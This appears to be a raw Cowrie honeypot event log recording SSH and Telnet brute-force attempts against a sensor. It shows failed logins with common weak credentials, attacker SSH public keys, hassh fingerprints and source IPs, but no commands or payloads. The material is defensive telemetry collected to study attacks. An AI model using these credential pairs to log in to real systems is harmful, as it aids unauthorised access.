{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:37.088703Z","src_ip":"193.37.70.224","session":"0750ae766e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:37.178495Z","src_ip":"193.37.70.224","session":"0750ae766e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000001","message":"login attempt [root/0000001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:37.448030Z","src_ip":"193.37.70.224","session":"0750ae766e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:38.541533Z","src_ip":"193.37.70.224","session":"0750ae766e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.579923152923584,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:39.468300Z","src_ip":"152.42.224.71","session":"27a4d0ca563a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:41.626496Z","src_ip":"176.65.139.121","session":"04da38437db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.845270156860352,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:42.603763Z","src_ip":"176.65.139.121","session":"04da38437db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37992,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc0fcffeeddb","protocol":"telnet","message":"New connection: 152.42.224.71:37992 (10.17.0.5:23) [session: dc0fcffeeddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:53.765464Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54258,"dst_ip":"10.17.0.5","dst_port":23,"session":"31b32568a359","protocol":"telnet","message":"New connection: 152.42.224.71:54258 (10.17.0.5:23) [session: 31b32568a359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:59.919840Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33020,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc56d5a48c2","protocol":"telnet","message":"New connection: 152.42.224.71:33020 (10.17.0.5:23) [session: ebc56d5a48c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:08.818316Z"}
{"eventid":"cowrie.session.closed","duration":47.19437789916992,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:11.843584Z","src_ip":"152.42.224.71","session":"605e24af70b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40170,"dst_ip":"10.17.0.5","dst_port":22,"session":"495634e2d7b6","protocol":"ssh","message":"New connection: 193.32.162.145:40170 (10.17.0.5:22) [session: 495634e2d7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:13.928080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:13.934099Z","src_ip":"193.32.162.145","session":"495634e2d7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:14.043360Z","src_ip":"193.32.162.145","session":"495634e2d7b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet123","message":"login attempt [ubuntu/sollet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:14.526308Z","src_ip":"193.32.162.145","session":"495634e2d7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33032,"dst_ip":"10.17.0.5","dst_port":23,"session":"84b2b9d7a458","protocol":"telnet","message":"New connection: 152.42.224.71:33032 (10.17.0.5:23) [session: 84b2b9d7a458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:14.650378Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:15.637040Z","src_ip":"193.32.162.145","session":"495634e2d7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00756001472473,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:35.494229Z","src_ip":"152.42.224.71","session":"3efac9679f36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.27611517906189,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:36.041485Z","src_ip":"152.42.224.71","session":"dc0fcffeeddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.141244888305664,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:38.060861Z","src_ip":"152.42.224.71","session":"31b32568a359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33188,"dst_ip":"10.17.0.5","dst_port":23,"session":"edca66de8e11","protocol":"telnet","message":"New connection: 152.42.224.71:33188 (10.17.0.5:23) [session: edca66de8e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:39.684561Z"}
{"eventid":"cowrie.session.closed","duration":34.291484355926514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:43.109557Z","src_ip":"152.42.224.71","session":"ebc56d5a48c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.100.92","src_port":51156,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f1da40d657d","protocol":"ssh","message":"New connection: 157.173.100.92:51156 (10.17.0.5:22) [session: 9f1da40d657d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:43.957302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:43.961743Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.062158Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:60:f4:fa:89:bd:e7:b0:8a:eb:7b:12:b6:ca:ee:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMh3wNLlwMQy4ZYnxQR1OqkhAAt94EuKRxDIe2eRZgtsyuGQxwe/W/auyDMrCMLISFSoVdI3ayDZvjrboPkgNlrhh9nst8n2xhY6RAyPQhSgVARQbvX0JCR7pvMAHkY8lDoqaDxuxWPHxxtW/RC6wlkIgs6BUXu0fzWCZH4zLOEmRpG8nplvblRjO7MEozmRVTt2yUjHtC4MeNbPUS2IrQY2lZjrs2LJjZiXGi7Gc+TCXITgkgfDQbJ0a7Zxpc7iI+di6i18aFb2oMOVl9vr1hwmxU/HL2Sb9VKuRud7hQOxPm/9FmpS1WN2QZZOKuVif5izRNaLtxx66FpDz+XXKAIyhxIJ/3drzYleUucy5Ct2zIdljXF4Ivbp3LC2i4zWhjRh/sK5CI2iR9j2HAt8mjmEHyA9/bVIonWzh9DjBvZeeN50PywjbBrL8XD0sc0kdmDFYzJ6EMZpfdFgs8jW53IVpcJ7ot4BePy/w6r+UYBo9ygiiLQ2dIl2lk/eMBVzs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:60:f4:fa:89:bd:e7:b0:8a:eb:7b:12:b6:ca:ee:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.579277Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:60:f4:fa:89:bd:e7:b0:8a:eb:7b:12:b6:ca:ee:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMh3wNLlwMQy4ZYnxQR1OqkhAAt94EuKRxDIe2eRZgtsyuGQxwe/W/auyDMrCMLISFSoVdI3ayDZvjrboPkgNlrhh9nst8n2xhY6RAyPQhSgVARQbvX0JCR7pvMAHkY8lDoqaDxuxWPHxxtW/RC6wlkIgs6BUXu0fzWCZH4zLOEmRpG8nplvblRjO7MEozmRVTt2yUjHtC4MeNbPUS2IrQY2lZjrs2LJjZiXGi7Gc+TCXITgkgfDQbJ0a7Zxpc7iI+di6i18aFb2oMOVl9vr1hwmxU/HL2Sb9VKuRud7hQOxPm/9FmpS1WN2QZZOKuVif5izRNaLtxx66FpDz+XXKAIyhxIJ/3drzYleUucy5Ct2zIdljXF4Ivbp3LC2i4zWhjRh/sK5CI2iR9j2HAt8mjmEHyA9/bVIonWzh9DjBvZeeN50PywjbBrL8XD0sc0kdmDFYzJ6EMZpfdFgs8jW53IVpcJ7ot4BePy/w6r+UYBo9ygiiLQ2dIl2lk/eMBVzs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.582865Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:b2:a4:b6:71:89:22:76:f9:7a:0b:d6:5a:11:0e:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC73XdGkLEpgnhNSWacr8Orn0xwlItK3Te21xU8/I5LiVewOYcvI83lR/yQpxegYU+ZFkXySdimYLZhTVJ/K2uK4p/kmx4SNUTqFI/xCBjhD7uIhxRDMD+e6SnssehZI39BHKQcKQb3mEh4NWu84JaoYf7m7mhI75OVvzgIkk4vpgI82Q3njRugxX80L8/opAJ0/QGH48TS3uH39KEtF1RO9AqndwtxgGlwFkl1UUA0p6YYF+jFmyT5pvE/ogY+tXQDHFgZCYVS9RKzCiFDx2+BLevKZp+4Lw8040Ae/M29IQb22djDgwTW6AsEU88vguyQcfEEhn6M+RWnjRF4hO3x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:b2:a4:b6:71:89:22:76:f9:7a:0b:d6:5a:11:0e:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.682130Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:b2:a4:b6:71:89:22:76:f9:7a:0b:d6:5a:11:0e:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC73XdGkLEpgnhNSWacr8Orn0xwlItK3Te21xU8/I5LiVewOYcvI83lR/yQpxegYU+ZFkXySdimYLZhTVJ/K2uK4p/kmx4SNUTqFI/xCBjhD7uIhxRDMD+e6SnssehZI39BHKQcKQb3mEh4NWu84JaoYf7m7mhI75OVvzgIkk4vpgI82Q3njRugxX80L8/opAJ0/QGH48TS3uH39KEtF1RO9AqndwtxgGlwFkl1UUA0p6YYF+jFmyT5pvE/ogY+tXQDHFgZCYVS9RKzCiFDx2+BLevKZp+4Lw8040Ae/M29IQb22djDgwTW6AsEU88vguyQcfEEhn6M+RWnjRF4hO3x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.686022Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:14:5f:5c:58:41:34:39:31:72:a5:6c:c3:a2:0c:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6sHCPMeivi/KhRcIKfJxpQcBJIbZYcEC3B9SyvlAfv1khsXEIgN1zW01FkN2r/8yBVjfUltr2M/UNwgM6XHAhPSzZrOITI34kI0Rq/dbbwaFigfjeb7GnJJprVJ4y1RmDe3QuQAUABXTD8GLVlnfTacvBxqg/VB7eBcFTWoRhBNc95lyvi73feT00YU+W1Uds6SSetp7cvRPaFUVEmatnWILU7sT6wOqid2rhhX1CDwA3hqx+bNdCCq9WaJsdXiCt83D6T2jNXPjglEurVhZeUa7iOq8YsdvQ+up2YhZnszed9mvgNVFkxwaUJfKMeLcBTYinfhd1GfS+/sKVPabJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:14:5f:5c:58:41:34:39:31:72:a5:6c:c3:a2:0c:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.788981Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:14:5f:5c:58:41:34:39:31:72:a5:6c:c3:a2:0c:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6sHCPMeivi/KhRcIKfJxpQcBJIbZYcEC3B9SyvlAfv1khsXEIgN1zW01FkN2r/8yBVjfUltr2M/UNwgM6XHAhPSzZrOITI34kI0Rq/dbbwaFigfjeb7GnJJprVJ4y1RmDe3QuQAUABXTD8GLVlnfTacvBxqg/VB7eBcFTWoRhBNc95lyvi73feT00YU+W1Uds6SSetp7cvRPaFUVEmatnWILU7sT6wOqid2rhhX1CDwA3hqx+bNdCCq9WaJsdXiCt83D6T2jNXPjglEurVhZeUa7iOq8YsdvQ+up2YhZnszed9mvgNVFkxwaUJfKMeLcBTYinfhd1GfS+/sKVPabJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.793265Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:4b:19:cf:f8:75:48:7b:76:0b:b1:7d:a4:11:27:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSNB8465wYHbGSTZ3UkmxlFe+ysiIz8DkH1K2tWTFEp/4c7uEgfhWJ5W4YXrLv8X3NWemzW52MPqNvq6jgM9kHepxIAo0WGDulc5K09Q2KHH71JYZ4keDioH7lB7R4HYyJa7KbsHjvX5yS3RwLcEGbxbR08DEVAk/E6lFJ3IsvWcNY9/sHDBEVwCJBHi7nveGheia5HZ1A9idbSzbKc7cvyhh7GMVgERIAEOnVXQ/VWhP85FOQoPUenOWfaAPzlM11lsSlxi8/0ZcJr73lDFD3gcvYkmOeja+ETM8Ax0XJbsm06xu1E7R7fhUn1ZpHzol9JnXK4tkv4wHIgflHKeYf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:4b:19:cf:f8:75:48:7b:76:0b:b1:7d:a4:11:27:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.894888Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:4b:19:cf:f8:75:48:7b:76:0b:b1:7d:a4:11:27:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSNB8465wYHbGSTZ3UkmxlFe+ysiIz8DkH1K2tWTFEp/4c7uEgfhWJ5W4YXrLv8X3NWemzW52MPqNvq6jgM9kHepxIAo0WGDulc5K09Q2KHH71JYZ4keDioH7lB7R4HYyJa7KbsHjvX5yS3RwLcEGbxbR08DEVAk/E6lFJ3IsvWcNY9/sHDBEVwCJBHi7nveGheia5HZ1A9idbSzbKc7cvyhh7GMVgERIAEOnVXQ/VWhP85FOQoPUenOWfaAPzlM11lsSlxi8/0ZcJr73lDFD3gcvYkmOeja+ETM8Ax0XJbsm06xu1E7R7fhUn1ZpHzol9JnXK4tkv4wHIgflHKeYf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.898680Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:b8:c6:bc:e0:03:91:48:1f:dd:cb:4c:ee:82:1e:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdDdWyMLU1oWTMG+Z6EFyJWl9MD2Uhl66qyabOwpjSv8pD+TK1c6AixjJNBSUQd3elMEuTgqpOMXbKYHyARCV0KCdp6/1eUFRJtZ9yI5AeIWJrhZs+Gyjm3wWIa0j5pCeUa5vYyHIW4KplS9WYLJi5FQLsRRTnMSeXVvBfBgMyUAgqNrTVCwYKKjhhcHwtJ740YEwTX8+51mjUuZBlCpyCnyjsuiPgbrWek1LY1HGSDCayNvU/C138vfbEgeZ8RdH1Lyua4f4jXFP0MkxhfAmKvcHY/7TcpmnShHPYwdqmmPB8hJLnhdmeApmMv+p4X5ZYSrTDnUt91414+ssRTqOd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:b8:c6:bc:e0:03:91:48:1f:dd:cb:4c:ee:82:1e:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:44.998513Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:b8:c6:bc:e0:03:91:48:1f:dd:cb:4c:ee:82:1e:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdDdWyMLU1oWTMG+Z6EFyJWl9MD2Uhl66qyabOwpjSv8pD+TK1c6AixjJNBSUQd3elMEuTgqpOMXbKYHyARCV0KCdp6/1eUFRJtZ9yI5AeIWJrhZs+Gyjm3wWIa0j5pCeUa5vYyHIW4KplS9WYLJi5FQLsRRTnMSeXVvBfBgMyUAgqNrTVCwYKKjhhcHwtJ740YEwTX8+51mjUuZBlCpyCnyjsuiPgbrWek1LY1HGSDCayNvU/C138vfbEgeZ8RdH1Lyua4f4jXFP0MkxhfAmKvcHY/7TcpmnShHPYwdqmmPB8hJLnhdmeApmMv+p4X5ZYSrTDnUt91414+ssRTqOd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:45.002878Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:45.103118Z","src_ip":"157.173.100.92","session":"9f1da40d657d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.86095929145813,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:53.545381Z","src_ip":"152.42.224.71","session":"edca66de8e11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35612,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b151a49fb7f","protocol":"telnet","message":"New connection: 152.42.224.71:35612 (10.17.0.5:23) [session: 9b151a49fb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:11:54.561989Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51212,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e8b3328cec","protocol":"telnet","message":"New connection: 152.42.224.71:51212 (10.17.0.5:23) [session: 19e8b3328cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:03.830672Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40962,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af5b9c4e21c","protocol":"telnet","message":"New connection: 152.42.224.71:40962 (10.17.0.5:23) [session: 4af5b9c4e21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:16.213874Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40974,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2fbcc38ab5","protocol":"telnet","message":"New connection: 152.42.224.71:40974 (10.17.0.5:23) [session: 5d2fbcc38ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:12:17.914564Z"}
